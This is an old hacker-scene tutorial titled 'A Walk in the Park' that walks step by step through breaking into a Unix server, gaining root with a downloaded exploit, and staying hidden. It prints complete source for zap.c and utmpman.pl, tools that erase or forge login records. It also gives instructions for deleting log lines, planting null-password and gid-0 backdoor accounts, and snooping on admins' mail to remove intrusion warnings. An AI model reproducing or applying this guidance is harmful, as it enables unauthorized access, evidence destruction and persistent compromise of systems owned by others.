="A WALK IN THE PARK" = = = = = = = = = = = = = = Written by:Ulyss3s = = = = = = = = = = = = = Disclaimer: I do not encourage any kind of illegal activities! This text and\or anything in this document was made for educational purposes only! I am not responsable for anything that is done with this information! ====================================================================== In this material we'll shape a scenario about breaking into a computer system somewhere on the Internet.Any similarity to a certain situation is pure fiction. ====================================================================== In order to break a security system, one has to use a certain intrussion method. Usually the atacks are not very "high-tech" due to the fact that the ruined systems are mis-configured or unpatched. Here is a list of common system intrusion methods: # Default accounts/Null passwords # Username/Password same # rsh or poor authentication mechanism # rlogin # Anonymous FTP mis-configured # Finger # WWW Server # SMTP # Samba # Password Sniffing (the most powerful one!) However if someone grabs the password file stored on a system his mission is as easy as 1, 2, 3... All he/she has to do is to run a program like CrackerJack or better, John The Ripper for this password file and the rest is piece of cake.If the passwords aren't too hard to be cracked, then the dictionary the two programs mentioned above are distributed with, should be enough. Otherwise you may find word lists for the dictionary at http://www.hackersclub.com A common password file from a unix/linux OS looks like this: root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash What's that all about?In case you didn't know here is the explaination: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=encrypted password 3=user number 4=groop id 5=real name 6=home directory 7=shell A hacker will always want to obtain the ROOT shell.This means having master priviledges over that particular system. Nowadays passwd files aren't enough for hackers.The passwords are shadowed and the encripted ones are stored in another file called the Shadow file. It is stored in /etc/shadow on unix systems. So, after you the password file you should have at least one account on the target system. This should be enough in order to hack for real the entire system. A hacker's life is easy thanks to the many exploits found by dedicated programmers.Exploits are programs written usually in C or Sh ( Shell programming) that bugs in the security. A good advice is that exploits should be used ONLY to get the root accounts, otherwise smart administrators may notice your presence. There are all kind of bugs in all systems: it might be a game installed on the system, or even the sendmail program. So the only thing you should have is one account on a machine and you can bet sooner or later that machine will be compromised. Exploits are compiled and then executed. The compiling command is: $ cc -o program program.c or $gcc program.c -o program The executing command is $program or better $ ./program For a Shell program the execution command is $ sh program.sh In the following session example I suppose that you have got somehow an account on a server. For login you should use either a SSH clinet (Secure Shell that sends the information encripted) or Telnet.We'll use telnet. Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net. You can use telnet if you know the IP address or the host name you want to connect or login to. It looks like this: Telnet target.com or telnet 206.146.43.56 Trying ..... Connected to target.com Red Hat 2.1 Kernel 1.2.13 on a i586 (target.com) (ttyp0) login:username password:******* bash$ The last thing is your prompt. It may look different but usually it's the same thing. However if you have a # prompt then, guess what...you may forget about hacking because you are ROOT. First we make sure we leave no traces in the shell, unsetting the .bash_history file bash$ unset HISTFILE bash$ Ok, that's done.Next we'll see what kind of OS is installed on the system.In our case there is no need to do that because at the login prompt we notice RedHat 2.1 That is beautifull because Linux is almost 99% vulnerable.However if there is no clue to the OS at the login prompt then after login we type: bash$ uname -a This should show us the OS. Now that you found out the OS running on the server, search for the right exploit at the following URL's: http://hack.co.za http://www.rootshell.com http://www.packetstorm.securify.com You should find the latest exploits available for any kind of OS. Download the exploit, transfer it via FTP to a free shell(e.g. at nether.net or hobbiton.org) because if your presence will be noticed somehow the only traces that will appear are from the free shell not from your real host.Also find programs like Zap and Utmpman which help you cleaning your tracks.Then from the account on the target.com machine do the following: bash$ ftp ftp>open nether.net(or hobbiton.org) Connected to nether.net Welcome to nether.net! Login:username Password:****** User X logged in. X>mget exploit.c (or exploit.sh) zap.c utmpman.pl 230 command successful some text here Transfer complete. X>close Goodbye. ftp>bye bash$ Now you have transfered the exploit on target.com machine.Let's see... bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 -rwxr-xr-x 2 berry users 1024 Jan 25 23:05 exploit.c(or sh) -rwxr-xr-x 2 berry users 1024 Jan 25 23:05 zap.c -rwxr-xr-x 2 berry users 1024 Jan 25 23:06 utmpman.pl -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens Ok, exploit.c is there.Let's compile it. bash$ gcc exploit.c -o exploit This would give me a file that would exe, called exploit. Now, finally some real action: hacking the root account. bash$ ./exploit or bash$ sh exploit.sh Suidperl 5.00503 (and newer) root exploit written by:author Checks passed, compiling flares and helper applications... Setting up environment... Starting exploit. It could take up to 5 minutes in order to get working root shell. WARNING - WARNING - WARNING: it could cause heavy system load. VOILA, BABE :-) Entering rootshell... (Whatever...this text could be anything ) The prompt should now look like the following: target# Let's see what does this mean... target# whoami root You are root indeed.That was easy, believe me.The hard part just starts:cleaning your tracks.The whole point of this hacking stuff is that you continue to have access to as many points of information as possible. If you do stupid things, or fail just once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the system. Make yourself a regular order to follow and learn each system well! Let's see who is logged on the system target#w 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00 User tty login@ idle JCPU PCPU what root ttyp1 5:35am w Well, it seems we have to make ourselves invisible... target# gcc zap.c -o zap target# zap your_username_here Zap! target#w 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01 User tty login@ idle JCPU PCPU what Can you see the root login now? You bet you can't! Here is the source-code for zap.c z2.c --------------------------- cut here #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- cut here Another great program for cleaning utmp, wtmp, and checking processes is utmpman.pl It will also let you insert lines in wtmp. So if you need to play you can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed on the system for a few hours! You must be root to run the script, and they need perl 5.003+ on thier system. After starting the script just type help. Here are some of the basic commands: starts by loading wtmp delete user username delete host hostanme write read wtmp delete user username delete host hostname write do help for the rest ... the best utmp,wtmp editor around! -----------------------start of utmpman.pl #!/usr/bin/perl -w # # Variable defines. my($utmp_location) = "/var/run/utmp"; my($wtmp_location) = "/var/log/wtmp"; my($shells_location) = "/etc/shells"; my($ttybase) = "tty"; my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems. # Global initializations. my($active_file) = ""; my(%entries) = {}; my(@cmdline) = (); my(@shells) = (); # Display banner. print "\nutmp Manager v0.8\n\n"; # Access check. die("utmpman :: You must be root to run this application!\n") unless ($> == 0); # Read in valid shells. if (defined($shells_location)) { open(SHELLFILE, "<$shells_location"); @shells = ; close(SHELLFILE); } # Process "basename" of each shell. @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells); print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells)); readfile("$utmp_location"); print("\nutmpman: $active_file> "); while () { process_cmd(split); print("\nutmpman: $active_file> "); } sub process_cmd { return if (!defined(@_)); my(@line) = map { lc($_) } @_; $_ = shift(@line); SWITCH: { /^check$/ && do { check_func(@line); last SWITCH; }; /^delete$/ && do { del_func(@line); last SWITCH; }; /^help$/ && do { help_func(); last SWITCH; }; /^insert$/ && do { ins_func(@line); last SWITCH; }; /^list$/ && do { list_func(@line); last SWITCH; }; /^read$/ && do { read_func(@line); last SWITCH; }; /^write$/ && do { write_func(@line); last SWITCH; }; /^quit|exit$/ && exit(0); # DEFAULT. print ("Invalid command.\n"); } } # HELP sub help_func { print << "EOM"; utmpManager Help ---------------- Note: - is an argument. - [id=] is a token which expects a value as part of command (ie, insert id=p5 user=root 11/23/96). See the insert command. - A line is the full name to the tty port, ie ttyp0. - An id is the *unique* representation of the port (without the tty, etc), ie "p0" (for ttyp0). check - Perform user consistancy check. Use this to make sure that the data in utmp agrees with who is actually on the machine. This is useful in determining if a user is online with hidden ports, running nohup'd processes, or running iScreen. delete - - Delete entries #x to #y. delete host - Delete *all* entries which match the substring . delete line|id - Delete entry containing or . insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} - Insert an entry into utmp/wtmp files specifying any combination of id/line, type, username, host, connection time, and logoff time. (LogoffTime only valid for WTMP files.) list host - List all entries matching the substring . list line|id - List all entries matching or . read utmp|wtmp| - Read entries from either default wtmp, default utmp, or an arbitrary filename. Note: arbitrary filenames MUST start with either "utmp" or "wtmp" to be used with this editor. Rename files *outside* of this editor if necessary. If read is executed without any arguments, it rereads the last given filename, which is displayed on the prompt. write {filename} - Write entries to file {filename}. If write is executed without any arguments, then entries will be written to the last given filename, which is displayed on the prompt. EOM } # DELETE sub del_func { my(@params) = @_; if (!push(@_)) { print("delete :: Not enough parameters. See \"help\" for syntax.\n"); return undef; } elsif ($params[0] =~ /host|user|id|line/) { del_by_data(@_); } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { del_by_range($params[0]); } elsif ($params[0] =~ m/^(\d+)$/) { del_by_range("$1-$1"); } # Renumber list after delete operation. resync(); } sub del_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi, $count)=($1, $2, 0); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { delete($entries{$_}); $count++; } } print "$count entries deleted.\n"; } sub del_by_data { my($op, $data) = @_; my($count) = 0; if ((length($data) < 5) && ($op eq "host")) { print "Must specify at least 5 characters for delete hostmask.\n"; return undef; } elsif (((length($data) > 4) && ($op eq "id"))|| ((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n"; return undef; } # Note: If we are deleting by user, then user must match, *exactly*! $data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); foreach (sort( { $a <=> $b } keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { delete($entries{$_}); ++$count; } } if (!$count) { print "No $op entries matching $data.\n"; } else { print "$count entries deleted.\n"; } } # INSERT # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] # Date2 Time2 = DateTime2 => (see above) # user= # host= # id= | line= # # utmp: # insert {id=|line=} [type=] [user=] [host=] [DateTime] # wtmp: # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} sub ins_func { my(%cmdopt)={}; my($datetime1, $datetime2, $gmdate, $gmdate2); # Get random pid out of the way. $cmdopt{"pid"} = int(rand(32656)+100); $cmdopt{"addr"} = pack("a4", ""); # Get command options. foreach (@_) { if (/=/) { local($key, $value)=split(/=/); $cmdopt{$key} = $value; } else { if (!defined($datetime1)) { $datetime1 = $_; next; } if (!defined($datetime2)) { $datetime2 = $_ ; next; } print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } } # Check for an illegal pair or illegal option. foreach (keys(%cmdopt)) { if (!(/^host|id|line|type|user|addr$/)) { print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { print "insert :: LAST option only valid for utmp files.\n"; return undef; } } # Get date in seconds since 1970. $gmdate = SecsSince1970($datetime1); # Get ending date in seconds since 1970. $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) { print "insert :: Invalid date specified.\n"; return undef; } if (defined($gmdate2)) { if ($gmdate2 < $gmdate) { print "insert :: First date/time must be *later* than second date/time.\n"; return undef; } } if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) { print "insert :: Insert by LINE or ID only. Please do not specify both.\n"; return undef; } my($op); if (!defined($cmdopt{"id"})) { $cmdopt{"id"} = $cmdopt{"line"}; $op = "line"; if (!($cmdopt{"id"} =~ s/^$ttybase//)) { print "insert :: Invalid line specified.\n"; return undef; } } else { $cmdopt{"line"} = $ttybase . $cmdopt{"id"}; $op = "id"; } if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) { print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n"; return undef; } my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ? (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op}; my($epos1, $npos1, $epos2, $npos2) = (); my($oldpos, $count)=("", 0); foreach (sort( { $a <=> $b } keys(%entries))) { if ($active_file =~ m!/*utmp[^/]*$!i) { # Handle utmp insertion by line insertion. if (%{$entries{$_}}->{$op} eq $searchdata) { printf ("insert :: $op $searchdata already exists at position $_\n"); # This needs to check every option in %cmdopt for defined or null. $count = 0; foreach (qw(user host time)) { if (defined($cmdopt{$_})) { $count++ if ($cmdopt{$_} ne ""); } } if (!$count) { printf ("insert :: No other data specified. Entry unchanged.\n"); return undef; } last; } } else { # Handle wtmp insertion by time position. (Messy) $epos1 = $oldpos if (defined($npos1) && !defined($epos1)); $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); last if (!defined($gmdate2) && defined($epos1)); $epos2 = $oldpos if (defined($npos2)); $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); last if (defined($epos2)); } $oldpos = $_; } # Set any unspecified defaults. $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); $cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); # Determine end of list insertion positions. (IE, dates entered are after # dates in wtmp file or line/id not found in utmp file. $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); if (defined($datetime2)) { $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); ++$epos2 if (defined($gmtime2) && !defined($npos1)); } # Parse insert data and insert entry. $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) if (defined($npos2) && defined($gmdate2)); # Insert first entry. $cmdopt{"time"} = $gmdate; @{$entries{$epos1}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; if (defined($epos2)) { $cmdopt{"user"} = pack("a8", ""); $cmdopt{"host"} = pack("a16",""); $cmdopt{"id"} = pack("a4", ""); $cmdopt{"time"} = $gmdate2; @{$entries{$epos2}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; } resync(); } # LIST sub list_func { my(@params) = @_; if (!push(@_) || ($params[0] eq "all")) { list_by_range("-"); return 0; } elsif ($params[0] =~ /^host|user|id|line$/) { list_by_data(@_); return 0; } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { list_by_range($params[0]); return 0; } elsif ($params[0] =~ m/^(\d+)$/) { list_by_range("$1-$1"); return 0; } print ("list :: Error in parameters. See \"help\" for syntax.\n"); return undef; } sub list_by_data { my($op, $data) = @_; my($count) = 0; foreach (sort( {$a <=> $b} keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { list_entry($_); ++$count; } } print "No $op entries matching $data.\n" if (!$count); } sub list_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi)=($1, $2); $lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi)); foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { list_entry($_); } } } sub list_entry { printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); printf(" %s/%s", @{$entries{$_}}{qw(id line)}); printf(": %s ", %{$entries{$_}}->{"user"}) if (%{$entries{$_}}->{"user"} ne pack("a8", "")); printf("from %s", %{$entries{$_}}->{"host"}) if (%{$entries{$_}}->{"host"} ne pack("a16", "")); if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); } print ("\n"); printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8",""))); } # printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)}; # now *that's* cool :-) # should be like this: @{$v}{qw(time id line user host)} # I had an extra -> in my first version. # # Or course, it's changed since then, but - "Thanks, Sil!" :) # # READ sub read_func { my($arg)=shift; $arg = $utmp_location if ($arg eq "utmp"); $arg = $wtmp_location if ($arg eq "wtmp"); $arg = $active_file if (!defined($arg)); if ($arg !~ m!/*[uw]tmp[^/]*$!) { print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n"); return undef; } readfile($arg); } # WRITE sub write_func { my($file)=shift; my($count)=0; $file = $active_file if (!defined($file)); if ($file !~ m!/*[uw]tmp[^/]*$!) { print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n"); return undef; } if (!open(OUTFILE, ">$file")) { print ("write :: Can't open $file for output.\n"); return undef; } binmode(OUTFILE); foreach (sort( { $a <=> $b } keys(%entries))) { printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", @{$entries{$_}}{qw(type pid line id time user host addr)})); $count++; } print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n"); close(OUTFILE); } # CHECK sub check_func { if (push(@_)) { print "check :: Invalid options specified. Please see \"help\"\n"; return undef; } if ($active_file !~ m!/*utmp[^/]*$!) { print "check :: Command can only be run on utmp files.\n"; return undef; } # Build struct of ports containing port name, device num and owner. # Note: Test run in grepstr may *not* be portable for all Unix # types. Be forewarned! This was designed for Linux. # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/ # should return the same as what you expect in "struct utmp->ut_id". my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; my(%ports) = {}; my($user, $rdev) = (); opendir(DEVDIR, "/dev"); my(@devfiles) = readdir(DEVDIR); @devfiles = grep(/$grepstr/, @devfiles); close(DEVDIR); foreach (@devfiles) { /^$ttybase([$ttyrange][$ttyports])$/; if (!defined($1)) { print "check :: Warning! Could not extract port ID from $_.\n"; } else { ($user, $rdev) = (stat("/dev/$_"))[4, 6]; $user = getpwuid($user); $ports{$1} = newport($_, $rdev, $user); } } # Check ownership of /dev ports. my(@logdev)=(); foreach (sort(keys(%ports))) { push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); } @logdev = sort(@logdev); # Check utmp (against ports detected as logged in); my(@logutmp)=(); foreach (sort( { $a <=> $b } keys(%entries))) { if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) && defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) { push(@logutmp, %{$entries{$_}}->{"id"}) if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && ((%{$entries{$_}}->{"user"} ne pack("a8", "")) || ((%{$entries{$_}}->{"host"} ne pack("a16", "")) && (%{$entries{$_}}->{"id"} ne pack("a4", "")) && (%{$entries{$_}}->{"line"} ne pack("a12", "")) && (%{$entries{$_}}->{"pid"} > 0)))); } } @logutmp = sort(@logutmp); # Check PIDs (find processes with active port ids) opendir(PIDDIR, "/proc"); my(%processes) = {}; my(@portprocesses) = (); foreach (grep(/\d+/, readdir(PIDDIR))) { local($procdata, $cmdline); open(PROCFILE, "; close(PROCFILE); if (-e "/proc/$_/stat") { local($cmdline, $devnum, $portid); ($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; # Remove surrouding () from command name. $cmd =~ s/[\(\)]//g; $portid = dev2id(\%ports, $devnum); if (defined($portid)) { push(@portprocesses, $portid) if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_)); } } } close(PIDDIR); # A port is *not* logged in if there is no dev entry for port, no utmp entry # and no active processes. my(@validshellports) = (); foreach (sort( { $a <=> $b} keys(%processes))) { push(@validshellports, %{$processes{$_}}->{"port"}) if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); } # Remove ports with valid shells from list of ports with active processes. my(@noshellports) = sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses)); @validshellports = sort(@validshellports); print "Ports with active /dev files: @logdev\n" if (defined(@logdev)); print "Ports with utmp entries: @logutmp\n" if (defined(@logutmp)); print "Ports with valid shells: @validshellports\n" if (defined(@validshellports)); print "Ports with active processes and *no* shells: @noshellports\n" if (defined(@noshellports)); } # GENERAL sub readfile { local($file); $file = shift; my($index)=1; my($buffer)=""; # Insure we have a clean hash table before we start reading in the file. foreach (keys(%entries)) { undef(%{$entries{$_}}); delete(${entries{$_}}); } open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n"); binmode(UTMPFILE); # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P). while (read(UTMPFILE, $buffer, 56)) { $entries{$index++} = newutmp($buffer); } $active_file = $file; print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n"); close(UTMPFILE); } sub newutmp { my($newbuff) = shift; my($longaddr) = 0; $newnode = bless { "type" => undef, "pid" => undef, "line" => undef, "id" => undef, "time" => undef, "user" => undef, "host" => undef, "addr" => undef }, 'UTMPNODE'; @{$newnode}{qw(type pid line id time user host addr)}= unpack("i L a12 a4 L a8 a16 a4", $newbuff); return $newnode; } sub newport { $newnode = bless { "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, }, 'PORTNODE'; @{$newnode}{qw(port rdev owner)} = @_; return $newnode; } sub newproc { $newnode = bless { "cmd" => undef, "port" => undef, }, 'PROCNODE'; @{$newnode}{qw(cmd port)} = @_; return $newnode; } # Renumber hashes to default order. sub resync { my(%newhash) = (); my($count)=0; # Write ordered list in to temporary hash, deleting as we go. foreach (sort( {$a <=> $b} keys(%entries))) { $newhash{++$count} = $entries{$_}; delete($entries{$_}); } # Copy elements back in to original hash table. foreach (sort( {$a <=> $b} keys(%newhash))) { $entries{$_} = $newhash{$_}; } } sub longtodot4 { my($addr)=shift; return join(".", map( ord($_), split(//, $addr))); } sub dev2id { my($portlist, $rdev) = @_; foreach (sort(keys(%{$portlist}))) { return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); } return undef; } sub listpos { my($arrayref, $search) = @_; my($count) = 0; $^W = 0; foreach (@{$arrayref}) { return $count if ($search eq ${$arrayref}[$count]); $count++; } $^W = 1; return undef; } ### DATE ROUTINES # The following code taken & modified from the Date::Manip package. # Here is his copyright: # ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. ## This program is free software; you can redistribute it and/or modify it ## under the same terms as Perl itself. sub SecsSince1970 { # Parse as mm/dd/[cc]yy[:hh:mm[:ss]] my($datetime) = shift; my($m,$d,$y,$h,$mn,$s) = (); # If date is not defined, then return local current date and time. return time() if (!defined($datetime)); $datetime =~ s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!; ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); $m--; # Finalize time components and check them. $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); # This checks for any *non-matched* portion of $datetime. If there is such # an animal, then there is illegal data specified. Also screens for undefined # components which HAVE to be in ANY valid date/time (ie, month, day, year). return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime)); # Set time components with unspecified values. $s = 0 if (!defined($s)); $mn = 0 if (!defined($mn)); $h = 0 if (!defined($h)); # Check for ranges. return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59)); # Begin conversion to seconds since 1/1/70. my($sec_now,$sec_70)=(); $sec_now=DaysSince999($m,$d,$y); return undef if (!defined($sec_now)); $sec_now--; $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; $sec_70 =30610224000; return ($sec_now-$sec_70); } sub DaysSince999 { my($m,$d,$y)=@_; my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); my($cc,$yy)=(); $y=~ /^(\d{2})(\d{2})$/; ($cc,$yy)=($1,$2); # Number of full years since Dec 31, 0999 $Ny=$y-1000; # Number of full 4th years (incl. 1000) since Dec 31, 0999 $N4=int(($Ny-1)/4)+1; $N4=0 if ($y==1000); # Number of full 100th years (incl. 1000) $N100=$cc-9; $N100-- if ($yy==0); # Number of full 400th years $N400=int(($N100+1)/4); # Check to insure that information returns a valid day of year. $dayofyear=dayofyear($m,$d,$y); return undef if (!defined($dayofyear)); # Compute day of year. $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; return $days; } sub dayofyear { my($m,$d,$y)=@_; my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); my($daynum,$i)=(); $daysinmonth[1]=29 if (!($y % 4)); # Return error if we are given an invalid date. return undef if ($d > $daysinmonth[$m]); $daynum=0; for ($i=1; $i<$m; $i++) { $daynum += $daysinmonth[$i]; } $daynum += $d; return $daynum; } ## END DATE ROUTINES. # End of script. 0; --------------------- end of utmpman.pl Ok, let's check the logs... target# cd /var/log target# grep host * maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from host.com maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from host.com The zap did everything except this maillog... target# pico maillog In pico editor Ctrl+w in order to search for host then Ctrl+k for deleting those lines. target# grep host * Everything in order now.... A good thing to do is to edit /etc/host.allow and /etc/hosts.deny target# pico /etc/hosts.allow and target# pico /etc/hosts.deny Remember to erase the exploit target# rm exploit.c Perhaps you want to keep the access you gained active.Then do a backdoor.You do not have to make it a root account that could cause notice to it right away.You know you can have root any time you want. Now let's take a look at the passwd or shadow file.It should look like this... root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:65535:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash You may either set let's say the postmaster's password to null ... target#passwd postmaster Now press enter twice ...or you can add a new line to the file... syst::13:12:system:/var/spool:/bin/bash Place it in the file where it seems to flow. Look at the line above for sync sync:*:5:0:sync:/sbin:/bin/sync Change this to : sync:*:5:0:sync:/sbin:/bin/bash and then run and leave the passwd blank. (or set a passwd don't matter) On this account we are even gid=0 Rember first NEVER to use system mail programs! They will be able to tell you are reading their mail. I use a combo of a few things. Here you go... cd /var/spool/mail This will put you into the directory that holds all of the unread mail, or waiting mail. Now you can do things like: grep -i security * |more grep -i hack * |more grep -i intruder * |more grep -i passwd * |more grep -i password * |more Then if needed pico username, and ctrl w to search for your message. You can also delete messages if you see some other admin is telling them that your user name is hacking their machine from their domain. 